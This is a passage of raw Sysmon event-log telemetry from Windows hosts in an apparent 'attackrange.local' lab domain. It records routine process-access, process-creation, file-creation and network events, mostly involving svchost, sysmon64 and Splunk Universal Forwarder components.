14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6EDA-613B-8904-00000000F101}4004C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.106{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6EDA-613B-8904-00000000F101}4004C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.107{625C326B-6EDA-613B-8904-00000000F101}4004C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:34.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=866308AACFF9D2035F3DA968F6B08954,SHA256=F7E43D6ED2D89484FA5278D77A0FC3158831AFD3789390B7E52CE87DECE14290,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:34.150{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:33.551{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59195-false10.0.1.12-8000- 23542300x800000000000000038314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:35.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=E06FC7B3F1226ED12B698752F9AF73BE,SHA256=F040D28B694492D5FA980757773F0ACC843E08F692D2B9AC4EE105C848B63DBE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:35.619{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CE0083C5C087483DA49C759BF12C370,SHA256=BF0F2CDE6790E00C173E91BFB751F859BE8818620E352CE3F0562E3CC9DD57FF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.981{625C326B-6EDB-613B-8B04-00000000F101}20123408C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6EDB-613B-8B04-00000000F101}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6EDB-613B-8B04-00000000F101}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.699{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6EDB-613B-8B04-00000000F101}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.701{625C326B-6EDB-613B-8B04-00000000F101}2012C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000013523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.465{625C326B-6EDB-613B-8A04-00000000F101}36363536C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:35.199{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6EDB-613B-8A04-00000000F101}3636C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 